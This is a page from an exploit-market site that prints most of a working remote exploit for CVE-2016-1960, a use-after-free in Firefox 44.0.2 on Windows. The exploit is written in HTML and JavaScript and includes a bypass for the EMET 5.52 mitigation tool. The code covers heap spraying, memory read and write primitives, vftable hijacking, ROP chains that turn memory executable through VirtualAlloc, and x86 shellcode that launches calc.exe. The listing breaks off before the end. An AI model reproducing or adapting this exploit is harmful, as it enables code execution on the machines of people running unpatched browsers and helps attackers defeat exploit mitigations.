[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Mozilla Firefox < 45.0 - nsHtml5TreeBuilder Use-After-Free (EMET 5.52 Bypass) Exploit

Author
Hans Jerry Illikainen
Risk
[
Security Risk High
]
0day-ID
0day-ID-28309
Category
remote exploits
Date add
18-08-2017
CVE
CVE-2016-1960
Platform
windows
<!doctype html>
<html>
<head>
<meta http-equiv="cache-control" content="no-cache" charset="utf-8" />
<title>CVE-2016-1960</title>
<script>
/*
 * Exploit Title: Mozilla Firefox < 45.0 nsHtml5TreeBuilder Array Indexing Vulnerability (EMET 5.52 bypass)
 * Author: Hans Jerry Illikainen (exploit), ca0nguyen (vulnerability)
 * Vendor Homepage: https://mozilla.org
 * Software Link: https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/
 * Version: 44.0.2
 * Tested on: Windows 7 and Windows 10
 * CVE: CVE-2016-1960
 *
 * Exploit for CVE-2016-1960 [1] targeting Firefox 44.0.2 [2] on WoW64
 * with/without EMET 5.52.
 *
 * Tested on:
 * - 64bit Windows 10 Pro+Home (version 1703)
 * - 64bit Windows 7 Pro SP1
 *
 * Vulnerability disclosed by ca0nguyen [1].
 * Exploit written by Hans Jerry Illikainen <hji@dyntopia.com>.
 *
 * [1] https://bugzilla.mozilla.org/show_bug.cgi?id=1246014
 * [2] https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/
 */
 
"use strict";
 
/* This is executed after having pivoted the stack.  `esp' points to a
 * region on the heap, and the original stack pointer is stored in
 * `edi'.  In order to bypass EMET, the shellcode should make sure to
 * xchg edi, esp before any protected function is called.
 *
 * For convenience, the first two "arguments" to the shellcode is a
 * module handle for kernel32.dll and the address of GetProcAddress() */
const shellcode = [
    "\x8b\x84\x24\x04\x00\x00\x00", /* mov eax, dword [esp + 0x4] */
    "\x8b\x8c\x24\x08\x00\x00\x00", /* mov ecx, dword [esp + 0x8] */
    "\x87\xe7",                     /* xchg edi, esp */
    "\x56",                         /* push esi */
    "\x57",                         /* push edi */
    "\x89\xc6",                     /* mov esi, eax */
    "\x89\xcf",                     /* mov edi, ecx */
    "\x68\x78\x65\x63\x00",         /* push xec\0 */
    "\x68\x57\x69\x6e\x45",         /* push WinE */
    "\x54",                         /* push esp */
    "\x56",                         /* push esi */
    "\xff\xd7",                     /* call edi */
    "\x83\xc4\x08",                 /* add esp, 0x8 */
 
    "\x6a\x00",                     /* push 0 */
    "\x68\x2e\x65\x78\x65",         /* push .exe */
    "\x68\x63\x61\x6c\x63",         /* push calc */
    "\x89\xe1",                     /* mov ecx, esp */
    "\x6a\x01",                     /* push 1 */
    "\x51",                         /* push ecx */
    "\xff\xd0",                     /* call eax */
    "\x83\xc4\x0c",                 /* add esp, 0xc */
 
    "\x5f",                         /* pop edi */
    "\x5e",                         /* pop esi */
    "\x87\xe7",                     /* xchg edi, esp */
    "\xc3",                         /* ret */
];
 
function ROPHelper(pe, rwx) {
    this.pe = pe;
    this.rwx = rwx;
    this.cache = {};
 
    this.search = function(instructions) {
        for (let addr in this.cache) {
            if (this.match(this.cache[addr], instructions) === true) {
                return addr;
            }
        }
 
        const text = this.pe.text;
        for (let addr = text.base; addr < text.base + text.size; addr++) {
            const read = this.rwx.readBytes(addr, instructions.length);
            if (this.match(instructions, read) === true) {
                this.cache[addr] = instructions;
                return addr;
            }
        }
 
        throw new Error("could not find gadgets for " + instructions);
    };
 
    this.match = function(a, b) {
        if (a.length !== b.length) {
            return false;
        }
 
        for (let i = 0; i < a.length; i++) {
            if (a[i] !== b[i]) {
                return false;
            }
        }
        return true;
    };
 
    this.execute = function(func, args, cleanup) {
        const u32array = this.rwx.u32array;
        const ret = this.rwx.calloc(4);
        let i = this.rwx.div.mem.idx + 2941; /* gadgets after [A] and [B] */
 
        /*
         * [A] stack pivot
         *
         * xchg eax, esp
         * ret 0x2de8
         */
        const pivot = this.search([0x94, 0xc2, 0xe8, 0x2d]);
 
        /*
         * [B] preserve old esp in a nonvolatile register
         *
         * xchg eax, edi
         * ret
         */
        const after = this.search([0x97, 0xc3]);
 
        /*
         * [C] address to execute
         */
        u32array[i++] = func;
 
        if (cleanup === true && args.length > 0) {
            if (args.length > 1) {
                /*
                 * [E] return address from [C]: cleanup args on the stack
                 *
                 * add esp, args.length*4
                 * ret
                 */
                u32array[i++] = this.search([0x83, 0xc4, args.length*4, 0xc3]);
            } else {
                /*
                 * [E] return address from [C]: cleanup arg
                 *
                 * pop ecx
                 * ret
                 */
                u32array[i++] = this.search([0x59, 0xc3]);
            }
        } else {
            /*
             * [E] return address from [C]
             *
             * ret
             */
            u32array[i++] = this.search([0xc3]);
        }
 
        /*
         * [D] arguments for [C]
         */
        for (let j = 0; j < args.length; j++) {
            u32array[i++] = args[j];
        }
 
        /*
         * [F] pop the location for the return value
         *
         * pop ecx
         * ret
         */
        u32array[i++] = this.search([0x59, 0xc3]);
 
        /*
         * [G] address to store the return value
         */
        u32array[i++] = ret.addr;
 
        /*
         * [H] move the return value to [G]
         *
         * mov dword [ecx], eax
         * ret
         */
        u32array[i++] = this.search([0x89, 0x01, 0xc3]);
 
        /*
         * [I] restore the original esp and return
         *
         * mov esp, edi
         * ret
         */
        u32array[i++] = this.search([0x89, 0xfc, 0xc3]);
 
        this.rwx.execute(pivot, after);
 
        return u32array[ret.idx];
    };
}
 
function ICUUC55(rop, pe, rwx) {
    this.rop = rop;
    this.pe = pe;
    this.rwx = rwx;
    this.kernel32 = new KERNEL32(rop, pe, rwx);
    this.icuuc55handle = this.kernel32.GetModuleHandleA("icuuc55.dll");
 
    /*
     * The invocation of uprv_malloc_55() requires special care since
     * pAlloc points to a protected function (VirtualAlloc).
     *
     * ROPHelper.execute() can't be used because:
     * 1. it pivots the stack to the heap (StackPivot protection)
     * 2. it returns into the specified function (Caller protection)
     * 3. the forward ROP chain is based on returns (SimExecFlow protection)
     *
     * This function consist of several steps:
     * 1. a second-stage ROP chain is written to the stack
     * 2. a first-stage ROP chain is executed that pivots to the heap
     * 3. the first-stage ROP chain continues by pivoting to #1
     * 4. uprv_malloc_55() is invoked
     * 5. the return value is saved
     * 6. the original stack is restored
     *
     * Of note is that uprv_malloc_55() only takes a `size' argument,
     * and it passes two arguments to the hijacked pAlloc function
     * pointer (context and size; both in our control).  VirtualAlloc,
     * on the other hand, expects four arguments.  So, we'll have to
     * setup the stack so that the values interpreted by VirtualAlloc as
     * its arguments are reasonably-looking.
     *
     * By the time that uprv_malloc_55() is returned into, the stack
     * will look like:
     * [A] [B] [C] [D]
     *
     * When pAlloc is entered, the stack will look like:
     * [uprv_malloc_55()-ret] [pContext] [B] [A] [B] [C] [D]
     *
     * Since we've set pAlloc to point at VirtualAlloc, the call is
     * interpreted as VirtualAlloc(pContext, B, A, B);
     *
     * Hence, because we want `flProtect' to be PAGE_EXECUTE_READWRITE,
     * we also have to have a `size' with the same value; meaning our
     * rwx allocation will only be 0x40 bytes.
     *
     * This is not a problem, since we can simply write a small snippet
     * of shellcode that allocates a larger region in a non-ROPy way
     * afterwards.
     */
    this.uprv_malloc_55 = function(stackAddr) {
        const func = this.kernel32.GetProcAddress(this.icuuc55handle,
                                                  "uprv_malloc_55");
        const ret = this.rwx.calloc(4);
        const u32array = this.rwx.u32array;
 
        /**********************
         * second stage gadgets
         **********************/
        const stackGadgets = new Array(
            func,
 
            0x1000,     /* [A] flAllocationType (MEM_COMMIT) */
            0x40,       /* [B] dwSize and flProtect (PAGE_EXECUTE_READWRITE) */
            0x41414141, /* [C] */
            0x42424242, /* [D] */
 
            /*
             * location to write the return value
             *
             * pop ecx
             * ret
             */
            this.rop.search([0x59, 0xc3]),
            ret.addr,
 
            /*
             * do the write
             *
             * mov dword [ecx], eax
             * ret
             */
            this.rop.search([0x89, 0x01, 0xc3]),
 
            /*
             * restore the old stack
             *
             * mov esp, edi
             * ret
             */
            this.rop.search([0x89, 0xfc, 0xc3])
        );
 
        const origStack = this.rwx.readDWords(stackAddr, stackGadgets.length);
        this.rwx.writeDWords(stackAddr, stackGadgets);
 
 
        /*********************
         * first stage gadgets
         *********************/
        /*
         * pivot
         *
         * xchg eax, esp
         * ret 0x2de8
         */
        const pivot = this.rop.search([0x94, 0xc2, 0xe8, 0x2d]);
 
        /*
         * preserve old esp in a nonvolatile register
         *
         * xchg eax, edi
         * ret
         */
        const after = this.rop.search([0x97, 0xc3]);
 
        /*
         * pivot to the second stage
         *
         * pop esp
         * ret
         */
        u32array[this.rwx.div.mem.idx + 2941] = this.rop.search([0x5c, 0xc3]);
        u32array[this.rwx.div.mem.idx + 2942] = stackAddr;
 
        /*
         * here we go :)
         */
        this.rwx.execute(pivot, after);
        this.rwx.writeDWords(stackAddr, origStack);
 
        if (u32array[ret.idx] === 0) {
            throw new Error("uprv_malloc_55() failed");
        }
        return u32array[ret.idx];
    };
 
    /*
     * Overrides the pointers in firefox-44.0.2/intl/icu/source/common/cmemory.c
     */
    this.u_setMemoryFunctions_55 = function(context, a, r, f, status) {
        const func = this.kernel32.GetProcAddress(this.icuuc55handle,
                                                  "u_setMemoryFunctions_55");
        this.rop.execute(func, [context, a, r, f, status], true);
    };
 
    /*
     * Sets `pAlloc' to VirtualAlloc.  `pRealloc' and `pFree' are
     * set to point to small gadgets.
     */
    this.set = function() {
        const status = this.rwx.calloc(4);
        const alloc = this.pe.search("kernel32.dll", "VirtualAlloc");
 
        /* pretend to be a failed reallocation
         *
         * xor eax, eax
         * ret */
        const realloc = this.rop.search([0x33, 0xc0, 0xc3]);
 
        /* let the chunk live
         *
         * ret */
        const free = this.rop.search([0xc3]);
 
        this.u_setMemoryFunctions_55(0, alloc, realloc, free, status.addr);
        if (this.rwx.u32array[status.idx] !== 0) {
            throw new Error("u_setMemoryFunctions_55() failed");
        }
    };
 
    /*
     * This (sort of) restores the functionality in
     * intl/icu/source/common/cmemory.c by reusing the previously
     * allocated PAGE_EXECUTE_READWRITE chunk to set up three stubs that
     * invokes an appropriate function in mozglue.dll
     */
    this.reset = function(chunk) {
        const u32array = this.rwx.u32array;
        const status = this.rwx.calloc(4);
 
        /*
         * pFree
         */
        const free = {};
        free.addr = chunk;
        free.func = this.rwx.calloc(4);
        free.func.str = this.dword2str(free.func.addr);
        free.code = [
            "\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */
            "\x50",                         /* push eax */
            "\x8b\x05" + free.func.str,     /* mov eax, [location-of-free] */
            "\xff\xd0",                     /* call eax */
            "\x59",                         /* pop ecx */
            "\xc3",                         /* ret */
        ].join("");
        u32array[free.func.idx] = this.pe.search("mozglue.dll", "free");
        this.rwx.writeString(free.addr, free.code);
 
        /*
         * pAlloc
         */
        const alloc = {};
        alloc.addr = chunk + free.code.length;
        alloc.func = this.rwx.calloc(4);
        alloc.func.str = this.dword2str(alloc.func.addr);
        alloc.code = [
            "\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */
            "\x50",                         /* push eax */
            "\x8b\x05" + alloc.func.str,    /* mov eax, [location-of-alloc] */
            "\xff\xd0",                     /* call eax */
            "\x59",                         /* pop ecx */
            "\xc3",                         /* ret */
        ].join("");
        u32array[alloc.func.idx] = this.pe.search("mozglue.dll", "malloc");
        this.rwx.writeString(alloc.addr, alloc.code);
 
        /*
         * pRealloc
         */
        const realloc = {};
        realloc.addr = chunk + free.code.length + alloc.code.length;
        realloc.func = this.rwx.calloc(4);
        realloc.func.str = this.dword2str(realloc.func.addr);
        realloc.code = [
            "\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */
            "\x50",                         /* push eax */
            "\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */
            "\x50",                         /* push eax */
            "\x8b\x05" + realloc.func.str,  /* mov eax, [location-of-realloc] */
            "\xff\xd0",                     /* call eax */
            "\x59",                         /* pop ecx */
            "\x59",                         /* pop ecx */
            "\xc3",                         /* ret */
        ].join("");
        u32array[realloc.func.idx] = this.pe.search("mozglue.dll", "realloc");
        this.rwx.writeString(realloc.addr, realloc.code);
 
        this.u_setMemoryFunctions_55(0,
                                     alloc.addr,
                                     realloc.addr,
                                     free.addr,
                                     status.addr);
        if (u32array[status.idx] !== 0) {
            throw new Error("u_setMemoryFunctions_55() failed");
        }
    };
 
    /*
     * Allocates a small chunk of memory marked RWX, which is used
     * to allocate a `size'-byte chunk (see uprv_malloc_55()).  The
     * first allocation is then repurposed in reset().
     */
    this.alloc = function(stackAddr, size) {
        /*
         * hijack the function pointers
         */
        this.set();
 
        /*
         * do the initial 0x40 byte allocation
         */
        const chunk = this.uprv_malloc_55(stackAddr);
        log("allocated 0x40 byte chunk at 0x" + chunk.toString(16));
 
        /*
         * allocate a larger chunk now that we're no longer limited to ROP/JOP
         */
        const u32array = this.rwx.u32array;
        const func = this.rwx.calloc(4);
        func.str = this.dword2str(func.addr);
        u32array[func.idx] = this.pe.search("kernel32.dll", "VirtualAlloc");
        const code = [
            "\x87\xe7",                    /* xchg edi, esp (orig stack) */
            "\x6a\x40",                    /* push 0x40 (flProtect) */
            "\x68\x00\x10\x00\x00",        /* push 0x1000 (flAllocationType) */
            "\xb8" + this.dword2str(size), /* move eax, size */
            "\x50",                        /* push eax (dwSize) */
            "\x6a\x00",                    /* push 0 (lpAddress) */
            "\x8b\x05" + func.str,         /* mov eax, [loc-of-VirtualAlloc] */
            "\xff\xd0",                    /* call eax */
            "\x87\xe7",                    /* xchg edi, esp (back to heap) */
            "\xc3",                        /* ret */
        ].join("");
        this.rwx.writeString(chunk, code);
        const newChunk = this.rop.execute(chunk, [], false);
        log("allocated " + size + " byte chunk at 0x" + newChunk.toString(16));
 
        /*
         * repurpose the first rwx chunk to restore functionality
         */
        this.reset(chunk);
 
        return newChunk;
    };
 
    this.dword2str = function(dword) {
        let str = "";
        for (let i = 0; i < 4; i++) {
            str += String.fromCharCode((dword >> 8 * i) & 0xff);
        }
        return str;
    };
}
 
function KERNEL32(rop, pe, rwx) {
    this.rop = rop;
    this.pe = pe;
    this.rwx = rwx;
 
    /*
     * Retrieves a handle for an imported module
     */
    this.GetModuleHandleA = function(lpModuleName) {
        const func = this.pe.search("kernel32.dll", "GetModuleHandleA");
        const name = this.rwx.copyString(lpModuleName);
        const module = this.rop.execute(func, [name.addr], false);
        if (module === 0) {
            throw new Error("could not get a handle for " + lpModuleName);
        }
        return module;
    };
 
    /*
     * Retrieves the address of an exported symbol.  Do not invoke this
     * function on protected modules (if you want to bypass EAF); instead
     * try to locate the symbol in any of the import tables or choose
     * another target.
     */
    this.GetProcAddress = function(hModule, lpProcName) {
        const func = this.pe.search("kernel32.dll", "GetProcAddress");
        const name = this.rwx.copyString(lpProcName);
        const addr = this.rop.execute(func, [hModule, name.addr], false);
        if (addr === 0) {
            throw new Error("could not get address for " + lpProcName);
        }
        return addr;
    };
 
    /*
     * Retrieves a handle for the current thread
     */
    this.GetCurrentThread = function() {
        const func = this.pe.search("kernel32.dll", "GetCurrentThread");
        return this.rop.execute(func, [], false);
    };
}
 
function NTDLL(rop, pe, rwx) {
    this.rop = rop;
    this.pe = pe;
    this.rwx = rwx;
 
    /*
     * Retrieves the stack limit from the Thread Environment Block
     */
    this.getStackLimit = function(ThreadHandle) {
        const mem = this.rwx.calloc(0x1c);
        this.NtQueryInformationThread(ThreadHandle, 0, mem.addr, mem.size, 0);
        return this.rwx.readDWord(this.rwx.u32array[mem.idx+1] + 8);
    };
 
    /*
     * Retrieves thread information
     */
    this.NtQueryInformationThread = function(ThreadHandle,
                                             ThreadInformationClass,
                                             ThreadInformation,
                                             ThreadInformationLength,
                                             ReturnLength) {
        const func = this.pe.search("ntdll.dll", "NtQueryInformationThread");
        const ret = this.rop.execute(func, arguments, false);
        if (ret !== 0) {
            throw new Error("NtQueryInformationThread failed");
        }
        return ret;
    };
}
 
function ReadWriteExecute(u32base, u32array, array) {
    this.u32base = u32base;
    this.u32array = u32array;
    this.array = array;
 
    /*
     * Reads `length' bytes from `addr' through a fake string
     */
    this.readBytes = function(addr, length) {
        /* create a string-jsval */
        this.u32array[4] = this.u32base + 6*4;   /* addr to meta */
        this.u32array[5] = 0xffffff85;           /* type (JSVAL_TAG_STRING) */
 
        /* metadata */
        this.u32array[6] = 0x49;   /* flags */
        this.u32array[7] = length; /* read size */
        this.u32array[8] = addr;   /* memory to read */
 
        /* Uint8Array is *significantly* slower, which kills our ROP hunting */
        const result = new Array();
 
        const str = this.getArrayElem(4);
        for (let i = 0; i < str.length; i++) {
            result[i] = str.charCodeAt(i);
        }
 
        return result;
    };
 
    this.readDWords = function(addr, num) {
        const bytes = this.readBytes(addr, num * 4);
        const dwords = new Uint32Array(num);
        for (let i = 0; i < bytes.length; i += 4) {
            for (let j = 0; j < 4; j++) {
                dwords[i/4] |= bytes[i+j] << (8 * j);
            }
        }
        return dwords;
    };
 
    this.readDWord = function(addr) {
        return this.readDWords(addr, 1)[0];
    };
 
    this.readWords = function(addr, num) {
        const bytes = this.readBytes(addr, num * 2);
        const words = new Uint16Array(num);
        for (let i = 0; i < bytes.length; i += 2) {
            for (let j = 0; j < 2; j++) {
                words[i/2] |= bytes[i+j] << (8 * j);
            }
        }
        return words;
    };
 
    this.readWord = function(addr) {
        return this.readWords(addr, 1)[0];
    };
 
    this.readString = function(addr) {
        for (let i = 0, str = ""; ; i++) {
            const chr = this.readBytes(addr + i, 1)[0];
            if (chr === 0) {
                return str;
            }
            str += String.fromCharCode(chr);
        }
    };
 
    /*
     * Writes `values' to `addr' by using the metadata of an Uint8Array
     * to set up a write primitive
     */
    this.writeBytes = function(addr, values) {
        /* create jsval */
        const jsMem = this.calloc(8);
        this.setArrayElem(jsMem.idx, new Uint8Array(values.length));
 
        /* copy metadata */
        const meta = this.readDWords(this.u32array[jsMem.idx], 12);
        const metaMem = this.calloc(meta.length * 4);
        for (let i = 0; i < meta.length; i++) {
            this.u32array[metaMem.idx + i] = meta[i];
        }
 
        /* change the pointer to the contents of the Uint8Array */
        this.u32array[metaMem.idx + 10] = addr;
 
        /* change the pointer to the metadata */
        const oldMeta = this.u32array[jsMem.idx];
        this.u32array[jsMem.idx] = metaMem.addr;
 
        /* write */
        const u8 = this.getArrayElem(jsMem.idx);
        for (let i = 0; i < values.length; i++) {
            u8[i] = values[i];
        }
 
        /* clean up */
        this.u32array[jsMem.idx] = oldMeta;
    };
 
    this.writeDWords = function(addr, values) {
        const u8 = new Uint8Array(values.length * 4);
        for (let i = 0; i < values.length; i++) {
            for (let j = 0; j < 4; j++) {
                u8[i*4 + j] = values[i] >> (8 * j) & 0xff;
            }
        }
        this.writeBytes(addr, u8);
    };
 
    this.writeDWord = function(addr, value) {
        const u32 = new Uint32Array(1);
        u32[0] = value;
        this.writeDWords(addr, u32);
    };
 
    this.writeString = function(addr, str) {
        const u8 = new Uint8Array(str.length);
 
        for (let i = 0; i < str.length; i++) {
            u8[i] = str.charCodeAt(i);
        }
        this.writeBytes(addr, u8);
    };
 
    /*
     * Copies a string to the `u32array' and returns an object from
     * calloc().
     *
     * This is an ugly workaround to allow placing a string at a known
     * location without having to implement proper support for JSString
     * and its various string types.
     */
    this.copyString = function(str) {
        str += "\x00".repeat(4 - str.length % 4);
        const mem = this.calloc(str.length);
 
        for (let i = 0, j = 0; i < str.length; i++) {
            if (i && !(i % 4)) {
                j++;
            }
            this.u32array[mem.idx + j] |= str.charCodeAt(i) << (8 * (i % 4));
        }
        return mem;
    };
 
    /*
     * Creates a <div> and copies the contents of its vftable to
     * writable memory.
     */
    this.createExecuteDiv = function() {
        const div = {};
 
        /* 0x3000 bytes should be enough for the div, vftable and gadgets */
        div.mem = this.calloc(0x3000);
 
        div.elem = document.createElement("div");
        this.setArrayElem(div.mem.idx, div.elem);
 
        /* addr of the div */
        const addr = this.u32array[div.mem.idx];
 
        /* *(addr+4) = this */
        const ths = this.readDWord(addr + 4*4);
 
        /* *this = xul!mozilla::dom::HTMLDivElement::`vftable' */
        const vftable = this.readDWord(ths);
 
        /* copy the vftable (the size is a guesstimate) */
        const entries = this.readDWords(vftable, 512);
        this.writeDWords(div.mem.addr + 4*2, entries);
 
        /* replace the pointer to the original vftable with ours */
        this.writeDWord(ths, div.mem.addr + 4*2);
 
        return div;
    };
 
    /*
     * Replaces two vftable entries of the previously created div and
     * triggers code execution
     */
    this.execute = function(pivot, postPivot) {
        /* vftable entry for xul!nsGenericHTMLElement::QueryInterface
         * kind of ugly, but we'll land here after the pivot that's used
         * in ROPHelper.execute() */
        const savedQueryInterface = this.u32array[this.div.mem.idx + 2];
        this.u32array[this.div.mem.idx + 2] = postPivot;
 
        /* vftable entry for xul!nsGenericHTMLElement::Click */
        const savedClick = this.u32array[this.div.mem.idx + 131];
        this.u32array[this.div.mem.idx + 131] = pivot;
 
        /* execute */
        this.div.elem.click();
 
        /* restore our overwritten vftable pointers */
        this.u32array[this.div.mem.idx + 2] = savedQueryInterface;
        this.u32array[this.div.mem.idx + 131] = savedClick;
    };
 
    /*
     * Reserves space in the `u32array' and initializes it to 0.
     *
     * Returns an object with the following properties:
     * - idx: index of the start of the allocation in the u32array
     * - addr: start address of the allocation
     * - size: non-padded allocation size
     * - realSize: padded size
     */
    this.calloc = function(size) {
        let padded = size;
        if (!size || size % 4) {
            padded += 4 - size % 4;
        }
 
        const found = [];
        /* the first few dwords are reserved for the metadata belonging
         * to `this.array' and for the JSString in readBytes (since using
         * this function would impact the speed of the ROP hunting) */
        for (let i = 10; i < this.u32array.length - 1; i += 2) {
            if (this.u32array[i] === 0x11223344 &&
                this.u32array[i+1] === 0x55667788) {
                found.push(i, i+1);
                if (found.length >= padded / 4) {
                    for (let j = 0; j < found.length; j++) {
                        this.u32array[found[j]] = 0;
                    }
                    return {
                        idx: found[0],
                        addr: this.u32base + found[0]*4,
                        size: size,
                        realSize: padded,
                    };
                }
            } else {
                found.length = 0;
            }
        }
        throw new Error("calloc(): out of memory");
    };
 
    /*
     * Returns an element in `array' based on an index for `u32array'
     */
    this.getArrayElem = function(idx) {
        if (idx <= 3 || idx % 2) {
            throw new Error("invalid index");
        }
        return this.array[(idx - 4) / 2];
    };
 
    /*
     * Sets an element in `array' based on an index for `u32array'
     */
    this.setArrayElem = function(idx, value) {
        if (idx <= 3 || idx % 2) {
            throw new Error("invalid index");
        }
        this.array[(idx - 4) / 2] = value;
    };
 
    this.div = this.createExecuteDiv();
}
 
function PortableExecutable(base, rwx) {
    this.base = base;
    this.rwx = rwx;
    this.imports = {};
    this.text = {};
 
    /*
     * Parses the PE import table.  Some resources of interest:
     *
     * - An In-Depth Look into the Win32 Portable Executable File Format
     *   https://msdn.microsoft.com/en-us/magazine/bb985992(printer).aspx
     *
     * - Microsoft Portable Executable and Common Object File Format Specification
     *   https://www.microsoft.com/en-us/download/details.aspx?id=19509
     *
     * - Understanding the Import Address Table
     *   http://sandsprite.com/CodeStuff/Understanding_imports.html
     */
    this.read = function() {
        const rwx = this.rwx;
        let addr = this.base;
 
        /*
         * DOS header
         */
        const magic = rwx.readWord(addr);
        if (magic !== 0x5a4d) {
            throw new Error("bad DOS header");
        }
        const lfanew = rwx.readDWord(addr + 0x3c, 4);
        addr += lfanew;
 
        /*
         * Signature
         */
        const signature = rwx.readDWord(addr);
        if (signature !== 0x00004550) {
            throw new Error("bad signature");
        }
        addr += 4;
 
        /*
         * COFF File Header
         */
        addr += 20;
 
        /*
         * Optional Header
         */
        const optionalMagic = rwx.readWord(addr);
        if (optionalMagic !== 0x010b) {
            throw new Error("bad optional header");
        }
 
        this.text.size = rwx.readDWord(addr + 4);
        this.text.base = this.base + rwx.readDWord(addr + 20);
 
        const numberOfRvaAndSizes = rwx.readDWord(addr + 92);
        addr += 96;
 
        /*
         * Optional Header Data Directories
         *
         * N entries * 2 DWORDs (RVA and size)
         */
        const directories = rwx.readDWords(addr, numberOfRvaAndSizes * 2);
 
        for (let i = 0; i < directories[3] - 5*4; i += 5*4) {
            /* Import Directory Table (N entries * 5 DWORDs) */
            const members = rwx.readDWords(this.base + directories[2] + i, 5);
            const lookupTable = this.base + members[0];
            const dllName = rwx.readString(this.base+members[3]).toLowerCase();
            const addrTable = this.base + members[4];
 
            this.imports[dllName] = {};
 
            /* Import Lookup Table */
            for (let j = 0; ; j += 4) {
                const hintNameRva = rwx.readDWord(lookupTable + j);
                /* the last entry is NULL */
                if (hintNameRva === 0) {
                    break;
                }
 
                /* name is not available if the dll is imported by ordinal */
                if (hintNameRva & (1 << 31)) {
                    continue;
                }
 
                const importName = rwx.readString(this.base + hintNameRva + 2);
                const importAddr = rwx.readDWord(addrTable + j);
                this.imports[dllName][importName] = importAddr;
            }
        }
    };
 
    /*
     * Searches for an imported symbol
     */
    this.search = function(dll, symbol) {
        if (this.imports[dll] === undefined) {
            throw new Error("unknown dll: " + dll);
        }
 
        const addr = this.imports[dll][symbol];
        if (addr === undefined) {
            throw new Error("unknown symbol: " + symbol);
        }
        return addr;
    };
}
 
function Spray() {
    this.nodeBase = 0x80000000;
    this.ptrNum = 64;
    this.refcount = 0xffffffff;
    /*
     * 0:005> ?? sizeof(nsHtml5StackNode)
     * unsigned int 0x1c
     */
    this.nsHtml5StackNodeSize = 0x1c;
 
    /*
     * Creates a bunch of fake nsHtml5StackNode:s with the hope of hitting
     * the address of elementName->name when it's [xul!nsHtml5Atoms::style].
     *
     * Ultimately, the goal is to enter the conditional on line 2743:
     *
     * firefox-44.0.2/parser/html/nsHtml5TreeBuilder.cpp:2743
     * ,----
     * | 2214 void
     * | 2215 nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
     * | 2216 {
     * | ....
     * | 2221   nsIAtom* name = elementName->name;
     * | ....
     * | 2741   for (; ; ) {
     * | 2742     nsHtml5StackNode* node = stack[eltPos];
     * | 2743     if (node->ns == kNameSpaceID_XHTML && node->name == name) {
     * | ....
     * | 2748       while (currentPtr >= eltPos) {
     * | 2749         pop();
     * | 2750       }
     * | 2751       NS_HTML5_BREAK(endtagloop);
     * | 2752     } else if (node->isSpecial()) {
     * | 2753       errStrayEndTag(name);
     * | 2754       NS_HTML5_BREAK(endtagloop);
     * | 2755     }
     * | 2756     eltPos--;
     * | 2757   }
     * | ....
     * | 3035 }
     * `----
     *
     * We get 64 attempts each time the bug is triggered -- however, in
     * order to have a clean break, the last node has its flags set to
     * NS_HTML5ELEMENT_NAME_SPECIAL, so that the conditional on line
     * 2752 is entered.
     *
     * If we do find ourselves with a node->name == name, then
     * nsHtml5TreeBuilder::pop() invokes nsHtml5StackNode::release().
     * The release() method decrements the nodes refcount -- and, if the
     * refcount reaches 0, also deletes it.
     *
     * Assuming everything goes well, the Uint32Array is allocated with
     * the method presented by SkyLined/@berendjanwever in:
     *
     * "Heap spraying high addresses in 32-bit Chrome/Firefox on 64-bit Windows"
     * http://blog.skylined.nl/20160622001.html
     */
    this.nodes = function(name, bruteforce) {
        const nodes = new Uint32Array(0x19000000);
        const size = this.nsHtml5StackNodeSize / 4;
        const refcount = bruteforce ? this.refcount : 1;
        let flags = 0;
 
        for (let i = 0; i < this.ptrNum * size; i += size) {
            if (i === (this.ptrNum - 1) * size) {
                flags = 1 << 29; /* NS_HTML5ELEMENT_NAME_SPECIAL */
                name = 0x0;
            }
            nodes[i] = flags;
            nodes[i+1] = name;
            nodes[i+2] = 0; /* popName */
            nodes[i+3] = 3; /* ns (kNameSpaceID_XHTML) */
            nodes[i+4] = 0; /* node */
            nodes[i+5] = 0; /* attributes */
            nodes[i+6] = refcount;
            name += 0x100000;
        }
        return nodes;
    };
 
    /*
     * Sprays pointers to the fake nsHtml5StackNode:s created in nodes()
     */
    this.pointers = function() {
        const pointers = new Array();
 
        for (let i = 0; i < 0x30000; i++) {
            pointers[i] = new Uint32Array(this.ptrNum);
            let node = this.nodeBase;
            for (let j = pointers[i].length - 1; j >= 0; j--) {
                pointers[i][j] = node;
                node += this.nsHtml5StackNodeSize;
            }
        }
        return pointers;
    };
 
    /*
     * Sprays a bunch of arrays with the goal of having one hijack the
     * previously freed Uint32Array
     */
    this.arrays = function() {
        const array = new Array();
 
        for (let i = 0; i < 0x800; i++) {
            array[i] = new Array();
            for (let j = 0; j < 0x10000; j++) {
                /* 0x11223344, 0x55667788 */
                array[i][j] = 2.5160082934009793e+103;
            }
        }
        return array;
    };
 
    /*
     * Not sure how reliable this is, but on 3 machines running win10 on
     * bare metal and on a few VMs with win7/win10 (all with and without
     * EMET), [xul!nsHtml5Atoms::style] was always found within
     * 0x[00a-1c2]f[a-f]6(c|e)0
     */
    this.getNextAddr = function(current) {
        const start = 0x00afa6c0;
 
        if (!current) {
            return start;
        }
 
        if ((current >> 20) < 0x150) {
            return current + 0x100000*(this.ptrNum-1);
        }
 
        if ((current >> 12 & 0xf) !== 0xf) {
            return (current + 0x1000) & ~(0xfff << 20) | (start >> 20) << 20;
        }
 
        if ((current >> 4 & 0xf) === 0xc) {
            return start + 0x20;
        }
        throw new Error("out of guesses");
    };
 
    /*
     * Returns the `name' from the last node with a decremented
     * refcount, if any are found
     */
    this.findStyleAddr = function(nodes) {
        const size = this.nsHtml5StackNodeSize / 4;
 
        for (let i = 64 * size - 1; i >= 0; i -= size) {
            if (nodes[i] === this.refcount - 1) {
                return nodes[i-5];
            }
        }
    };
 
    /*
     * Locates a subarray in `array' that overlaps with `nodes'
     */
    this.findArray = function(nodes, array) {
        /* index 0..3 is metadata for `array' */
        nodes[4] = 0x41414141;
        nodes[5] = 0x42424242;
 
        for (let i = 0; i < array.length; i++) {
            if (array[i][0] === 156842099330.5098) {
                return array[i];
            }
        }
        throw new Error("Uint32Array hijack failed");
    };
}
 
function log(msg) {
    dump("=> " + msg + "\n");
